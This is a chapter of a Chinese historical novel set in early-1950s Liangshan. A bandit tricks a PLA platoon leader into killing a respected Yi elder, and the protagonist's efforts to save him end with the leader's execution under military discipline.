这山路已经愈发的艰险,周立行知道自己不能再拖,再往前追肯定会遇到埋伏,或是接近对方的老巢。
那男人又跑了一段路,见周立行竟然没有追上来,而是站在原地一动不动,只那么阴沉沉地望着他。
“哟,咋不追了?”那男人也停下来,远远地隔着一些树木,他竟是在笑,嚣张得很。
周立行不说话,就那么站着。
“你是红汉?老子当年抓过金江支队的红汉,都是开膛破肚的,怎么,不想抓我去报仇?”
那男人坐下来,随手揪了一根草剔牙,对周立行用激将法。
周立行看得出来,对方是很想自己继续追,他可不蠢。
“你是苏家的?”
“我是苏汉彬,来呀,逮我撒!”
对方嚣张地自曝姓名,张狂得很。
周立行心中咯噔一声,对方竟然就是苏汉彬?!
周立行按捺住心中的怒火,如果此人是苏汉彬,他确实是想无论如何都要把对方给拿下!可此人如果真的是苏汉彬,这种阴险狡诈的人,绝无可能在自己有危险的时候还停下跟别人说废话。
这里肯定离苏汉彬的老巢不远,并且绝对有他的手下在附近。
当然,对方也有可能是在故意唱空城计,但周立行他不能因小失大。
苏汉彬跑得了和尚跑不了庙,他们早晚都要收拾。而王排长,则有可能惹上了大麻烦。
周立行往后退了两步,“苏汉彬,今日我不追你了,你也别想激我。”
苏汉彬脸上表情没有变化,他扯着嘴角似笑非笑地回答,“怎么?不怕我唱空城计?你再追追,说不定就擒住我了。”
周立行回敬以同样的冷笑,“我叫周行善,忠义堂及各地分堂的总舵把子。你的命,我早晚会拿。”
此话一出,苏汉彬脸上终于没了表情,他甚至有些震惊,继而鄙夷地挑衅,“忠义堂?什么狗屁倒灶玩意儿,我忠爱社随时等你来踢馆,哈!”
论放嘴炮,周立行也不输人,他回敬道:“馆都开到深山老林了,不知道谁才是死鸭子嘴硬!”
“你们红汉当年还不是上山为匪!风水轮流转,谁知道日后什么光景!”
“我们红汉走到哪都有老百姓支持,征兵征粮就像泥里抓土一样容易。你们呢?彝人是恨你们还是敬你们,你们自己清楚。”
苏汉彬说过不周立行,神色中有些气急败坏,他浮现出真正的恶毒神色,“哈哈哈哈,你可晓得,你们的长官今天打死的是哪个?让我看看,彝人是敬你们,还是恨你们!”
说完,苏汉彬思索了下,他们苏家是这几年才发迹的,但十多年前在会理,他们也不算是小家族,当年忠义堂周行善的事情,他十多岁的时候还是听说过的,已经过逝的林人梅跟这个周行善是有过渊源的,当初铲烟苗的事情他苏家也是派人去过的,甚至周立行自称自己是红汉的事情,也是他们苏家的人告诉当初的县长的。
苏汉彬想到了三年多前,林人梅死之前还在委托各地彝务指挥寻人,据小道消息说,要寻的人是忠义堂会理分堂的女纪纲,及其义姐和干女儿。
而他们苏家去大凉山那边买卖娃子的时候,搞出过一些事,冷枪打死过一个当过女袍哥的彝族头人之妻,还偷抢回来过一个少女,论年纪长相,跟林人梅要找的干女儿颇有些符合。
“周行善,我听说你在找人,恐怕,你是找不到咯。”
说完这句诅咒,苏汉彬往地上吐了一口唾沫,然后头也不回直接往密林深处蹿去。
周立行听得心中一沉,他没有关注后面的话,只听到前面对王排长开枪打死之人身份的恶嘲,也不再耽误,赶紧往回奔去。
*
王排长此时已经被关了禁闭,因为他一枪毙命的人,不是土匪,是一名彝族老者。
死者汉名叫傅得安,是小黑箐的彝族傅家的老头人,他办过小学,让家中青年读书,处理家族事务公正公道,家支中许多人在他的影响下,都亲近红汉。
王排长等人不认识苏汉彬,这傅得安却是被苏家害过,他认识苏汉彬,见乔装的苏汉彬站在王排长身边,自然是不敢停留。
误会由此产生,却成为一根岌岌可危的导火索。
按照彝族的风俗,被开枪打死是凶死,不但不能抬回家去停放,也不能把柴堆在自家火化场中火化,对于一个享有威望的老头人,这是莫大的不幸。
团长和团政委得到报告,十分震惊,他们立即向师部上报了这个重大事件,第一时间把王排长关了禁闭,同时立即向会理县委报告。
周立行赶回去的时候,会理县委正在召开紧急会议。如今的他不能像当年跟着林人梅那边随意出入县衙,他被拦在了会议室门外。
“我是目击者!我亲眼看到特务误导王排长!”
周立行来不及去找赵大石,他听到县委在开紧急会议商量如何处理王排长,立即就往这边来了。
县委的同志们并不认识周立行,但见他穿着是群众的模样,门外的同志们相互看了几眼,其中一人把他请到旁边坐下,另外的人进了会议室。
没一会儿,有一位中年同志出来,和另外一名年轻女同志一起找周立行谈话。
周立行一五一十地把所有的情况讲了出来,并报告了他追着那特务出去之后的情况也说了:
“那人说他是苏汉彬,我没见过苏汉彬的照片,不确定是不是。但他故意误导王排长的事情,千真万确!王排长是误会了才开枪的!”
周立行说得恳切,他是真的喜欢这些解放军们,一路走来,他们军纪严明,哪怕是被彝人抓了战士,也不会用武力去抢夺掳掠,而是用尽各种办法跟彝人们交流,尽量避免战斗导致民族裂痕的加深。对于不小心犯了纪律的同志,惩罚毫不留情。
虽然和王排长认识没几天,周立行也不忍看着王排长去偿命。
然而,来人却是会理县委中的南下干部,他向周立行传达了刚刚县委的三项决定:
“周俊秀同志,非常感谢你协助我们部队进行剿匪相关工作。你的证言我们已经记录,之后会向县委反馈。不过,县委已经研究做出以下三项决定:一是政府和驻军将派代表参加傅老的治丧;二是政府将对傅家亲属发放丧葬费和抚恤费,并宣布一定严惩违反民族政策的排长;第三,对王庆真排长的处理意见,我们将逐级上报。”
“他这是被害了的……你们不能从轻处理吗?敌人就是希望我们处理自己的战士……”周立行从对方的口吻中听出了凝重和认真,忍不住想要辩驳。
“敌人更想做的,是破坏民族团结,是引发地区动荡。彝汉团结,是我们凉山地区工作的重点,如果我们包庇自己的战士,就会败坏民族工作中当的形象和军队的形象。周俊秀同志,我们的纪律是铁打的,任何人、任何理由都不能更改。”
这位干部神色严肃,他的目光包含惋惜,紧皱的眉头诉说着无言的痛心,言辞却十分坚定。
周立行听完,他是能察言观色的,对于这种坚定的人,多说无益。
但他也没有就此离开,他仗着自己耳朵灵敏,到会议室楼下坐着,从那开着的窗户里听了些剧烈争执间的只言片语。
“……判处死刑……”
“……缓期执行……”
“……证词……建议无期……”
“……上报西昌地委……西南局……”
……
回到部队的周立行陷入了沉默,他有些后悔。
后悔自己的托大,他觉得是自己不够谨慎,引发了那么一连串的反应,才让王排长被陷害。
他更后悔自己没有孤注一掷地把苏汉彬抓回来,用来减轻王排长的惩罚……
虽然部队里没有任何人责怪他,大家都把恨意倾注到苏汉彬身上,但周立行内心还是充满了愧疚。
王排长是战斗英雄,老家是河南人,一路从炮火和硝烟中走过来的解放军老战士,他没有堂堂正正地死在战场上,却要被这样阴害得要死在自己人的纪律中。
尤其是,周立行得知小黑箐的傅家出了许多彝族上层进步人士,许多傅姓的人解放后都参加了政府工作,还有许多在帮助解放军剿匪的过程中牺牲后,他才更加感受到苏汉彬的恶毒。
苏汉彬一定是精心筹谋了这一场陷害,他是想用这样的方式来分化解放军的军心。
周立行下定决心,解放军的纪律他撼动不了,难道他不能想想其它的办法吗?
*
正在周立行自行筹谋要干点什么的时候,会理县民族事务科的副科长傅正淞,也是傅家人,他竟然主动来找到了周立行。
“我听闻你见到了苏汉彬?是他蒙骗王排长,杀了我叔叔?”
周立行点头,将当日的情况又讲了一遍。
傅正淞是一名典型的彝族男人,他五官立体偏黑,说话声音低沉:
“咱们彝人的谚语:儿子长大报父仇,这种儿子数第二;孙子长大报爷仇,这种孙子数第一。咱们彝人的家支因为冤家械斗,可以延续十几代人上千年!这苏汉彬,真的是太险恶了!”
“可这苏汉彬忘了,他们苏家和我们傅家,早就是冤家了!”
“之前有一年,咱们傅家已经缴纳了苏家摊派给会理各大家族的苛捐杂税,结果苏家又来咱们傅家收第二遍,他们抓走我们的兄弟用麻绳套住两个拇指,吊在树上毒打,我们傅家多给了五百两银子、一批鸦片和枪支骡子,才赎回自己人。他们还打死了我的兄弟傅正洪……”
周立行叹息一声,“所以,傅家能宽恕王排长吗?”
“没有解放军来,我们一直都会被苏家欺压!我会向组织申请,回去做家支的工作。这也是我民族事务科的责任!俊秀兄弟,你愿意跟我一起去吗?”
傅正淞下定决心,也向周立行发出邀请。
周立行自然求之不得,他正在想如何曲线救人,这正是恰逢其会了!
然而事情并不如傅正淞和周立行如想那么顺利。
区级干部组成的工作组已经开始开展工作,区委书记也多次向傅老的儿子沟通,傅家的头人座谈会很快展开,工作组要听取的是傅家亲属们对这个事件的看法。
按照彝人的说法,[迷日俄司索](不吉利死亡)降临,凶死鬼是不能轮回转世的,并且许多不吉利的事件都将陆续发生。
在傅正淞的努力转圜下,在人证周立行的证明下,虽然傅家不会把解放军当做仇人和冤家,可传统习惯是杀人者抵命后,凶死鬼才能轮回。
座谈会上,傅家的亲属们悲哀痛哭,老辈子们认为,杀人抵命是应当的,否则他们尊敬的老头人要永受折磨。
傅正淞站起来,锤着胸膛,“王排长他从遥远的地方,离开他的父母家人来到这里,也是为了消灭苏家这样的恶霸!他是为了我们彝人能过上好日子才来的,他是为了保护我们才开的枪!他是冤枉的!”
“打蛇也有砸着脚杆的时候,安弩镖也有伤着自己人的时候,哪个没有过失?”
“苏家人打死了我们傅家的亲人,吊打我们的老辈子,勒索我们的钱财,当时哪个人敢去找他们讲理?找他们抵命?今天,人民政府和解放军一次次地向我们赔情,慰问,我们怎么就不能宽恕王排长?”
“难道,我们就要让苏汉彬的阴谋得逞吗?他们就是希望我们彝人和解放军自相残杀,你们看不懂吗?”
傅正淞双目赤红,几欲落泪,他在政府工作,更是明白共产党和国民党政府的不同。
“人死不能复生,如果王排长要死,也应该死在战场上,不应该死在自己人的手里。”周立行只说了这句话,便不再开腔。
座谈会上的人都垂下了头,主张抵命的人唉声叹气,大家的意见无法统一。
因此事无法得到统一的意见,最终还是要以上级的决定为准。
*
这件事在整个会理闹得沸沸扬扬,绝大多数人都要求从轻判处王排长的过失犯罪,如同周立行所说,大家希望他能在剿匪作战中立功赎罪,这位老红军真的要死,也应该死在战场上。
然而,师军法处传来西南局的批示:判处死刑,立即执行。
周立行听红着眼眶的赵大石转述这个消息,整个人都炸了。
“你们的纪律也太不讲人情了!”
周立行气得一拳锤坏了桌子,他一直认为这件事有自己的过失,甚至请求过自己替王排长承担部分罪责,然而都被驳回。
“他是误杀,不是故意杀人!再说了,我可以作证,当时王排长喊了两遍让对方停下,他不是以来就开枪……”
赵大石心疼地看着被锤
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坏的桌子,他没想到周立行能发这么大的火,跟平时那种冷冰冰看谁都不上心的样子完全不一样,只能使劲地拽拉着周立行,不让他发疯。
“俊秀!哎呀我的大爷,你冷静!咱们的纪律就是这样!不讲人情!”
赵大石心中也很痛,可军法如此。
“我们解放军凭什么走到哪里都能得到老百姓的支持,就是凭对自己人不讲人情啊!我们要是包庇自己人,彝族兄弟以后还能信我们吗?”
周立行一把甩开赵大石,脱口而出,“如果现在犯错的是沐明实,你们是不是也要枪毙她?”
赵大石愣住,“这跟沐,沐明实有什么关系?沐明实是谁?”
周立行这才想起来,他没有跟赵大石讲过自己的详细过往,他也才明白自己为何会如此暴躁不安。
他是个讲义气超过讲纪律的人,当初他的车队也好,游击队也好,虽然大家在沐明实的管理下都十分讲纪律,可他始终无法接受超过人情道义的无谓牺牲。
他对解放军的好感,是从沐明实开始的,他敬佩解放军,却也是因为把每一位战士都当沐明实来对待的。
如果,如果是沐明实被陷害了,难道沐明实也要被枪毙?如果今天是沐明实被关着,他周立行就算是劫狱,也非要把战友救走不可!
“王排长是河南人,是受过表彰的战斗英雄,他跟着你们部队走到四川来,功劳苦劳都有。”
周立行坐了下来,他心中又闷又梗,像是被压着一块大石,“你们说他严重违反民族政策,就要枪毙他?他这一生都在为你们拼命,你们就这样对他吗?这不符合道义,这是过河拆桥!”
赵大石急切地抓着头,他觉得周立行说的也不算错,可他也觉得西南局的决定没问题,不由得往地上跺脚,“不对,不对!你钻牛角尖了!我们从来都不是过河拆桥的队伍,我们这是有原因的!我们不会乱牺牲同志……”
“俊秀同志,明天就要执行枪决了,你去见见王排长吧。”
一道声音传来,周立行抬头一看,是鲁政委。
周立行看向鲁政委那平静睿智的双眼,心中的愤怒焦躁散去了不少,他不知道鲁政委听了多久,一路走来,他跟鲁政委见面此时也不多,但他知道鲁政委是个十分厉害的人物,尤其是做思想工作。
“好,我去。”周立行站起来,“我现在就去。”
说罢,周立行走出房间,远远地他听到鲁政委跟赵大石说,寻一下沐明实……
*
解放军的牢房并不恐怖,除了必备的防止逃走的措施,其它方面甚至算得上整洁干净。
此时王排长已经是一个单间,除了手铐外,他看起来跟自己平时的样子没有什么区别。
周立行走进去的时候,王排长已经吃完了饭菜。
对比平时的土豆和干粑粑,那是一顿丰盛的饭菜,这次的有酒有菜有肉,还有大米饭。
周立行坐到旁边,王排长见他,便笑道:
“谢谢你来送我。”
“鲁政委让我来的,他听着我发脾气,估计怕我惹事。”
周立行也没有客气,有话直说,“我的本事你知道,干脆我今晚带你跑吧,你回河南去,陪你的老娘和妻儿。”
王排长哈哈大笑起来,“果然是袍哥老辈子,重义气!不过,我没有妻儿,只有老母亲,组织已经安排好了,他们会照顾好她的。”
“你还信他们?”周立行有些错愕,“他们……为了彝人满意,要杀你啊……”
王排长明白了,原来鲁政委不是让周俊秀来看他,是让自己开导周俊秀呢。
这周俊秀是个进步人士,战斗好手,虽然才来特务连几天,王排长之前都很看好他呢。不过现在看来,思想境界确实还差一些。
得,临死之前还能做事,王排长很是欣慰。
“俊秀同志,你也算是打过仗的人,你应该晓得,每一场战役,无论输赢,都是需要牺牲的。”
王排长正色道,“甚至是看起来,无意义的牺牲。”
“有的队伍永远也不会接到撤退的命令,有的队伍注定是诱敌深入,有的队伍职责是断后……我能活到现在,是因为有无数的同志死去。”
周立行懂,可是他又不太懂,“我知道你们不怕死……”
“我不死,彝族兄弟们不会相信解放军真的军纪严明。”
王排长端起一杯酒递给周立行,“你在会理待过,你应该比我们更清楚,彝人家支之间的冤家,有多少是被国民党的彝务指挥们恶意挑起的。”
周立行接过酒杯,没有客气,将酒水一饮而尽。
“一年前,兄弟部队一个事务长在新解放区强行筹粮的时候打骂群众,造成恶劣影响,被判处死刑;我们师从青神过来的时候,有区队长被告调戏妇女,同样判处了死刑。我到会理开了误杀头人的第一枪,如果铁的纪律不被执行,打了折扣,那么接下来,会不会有许多彝人也被[误杀]?”
“如果我可以被赦免,也许哪天,土匪特务们就可以穿上我们的军装,去彝人的寨子搞屠杀,彝人们也会相信我们也会赦免这些[被蒙骗的解放军],你说是不是?然后我们就成了冤家,仇家,以后的凉山地区,永无宁日。”
周立行想到苏汉彬那阴险恶毒的模样,他相信对方干得出这种丧尽天良的事情。
他知道,今晚是救不走王排长了。
王排长不会走,他是铁了心的,要为大局去死。
“以前,是我的战友牺牲,现在轮到我了,我可不能让九泉之下的战友们笑话我啊。”
王排长笑得开怀,他曾经也是有过委屈的,但听到西南局的判决,在团长和政委都在找他谈话后,他已经明白了自己的使命。
“我已经缴纳了最后一次党费。希望我的死,可以成为彝汉互信的桥梁,成为同志们的警钟。”
“俊秀同志,我相信这大小凉山未来,一定是团结繁荣的,这漫山遍野的不会再是鸦片,山林之间不再有冤家械斗,大家都能过上吃穿不愁的美好生活。”
周立行很敬佩他们,可周立行觉得,自己做不到。
可也许只有王排长这样的人多了,王排长口里的未来,才能实现。
周立行无话可说,只能给自己掺了一杯酒,一口闷掉,再倒满,递给王排长。
薄酒一杯敬英豪,但愿天下得安宁。
第二日,王庆真被执行死刑。
震惊的傅家人们赶到县城,哭声震天,他们共同呼喊着“只塔塞!(莫杀他)”,然而,军纪森严,军法无情,悲剧已经无可挽回。
王庆真看着这些痛哭流涕为他求情的彝族同胞们,他欣慰地闭上了眼睛。
周立行也闭上眼睛,再次睁眼的时候,双目通红。
他一定要亲手抓住苏汉彬,他要让苏汉彬死于众目睽睽之下,用以祭奠亡魂。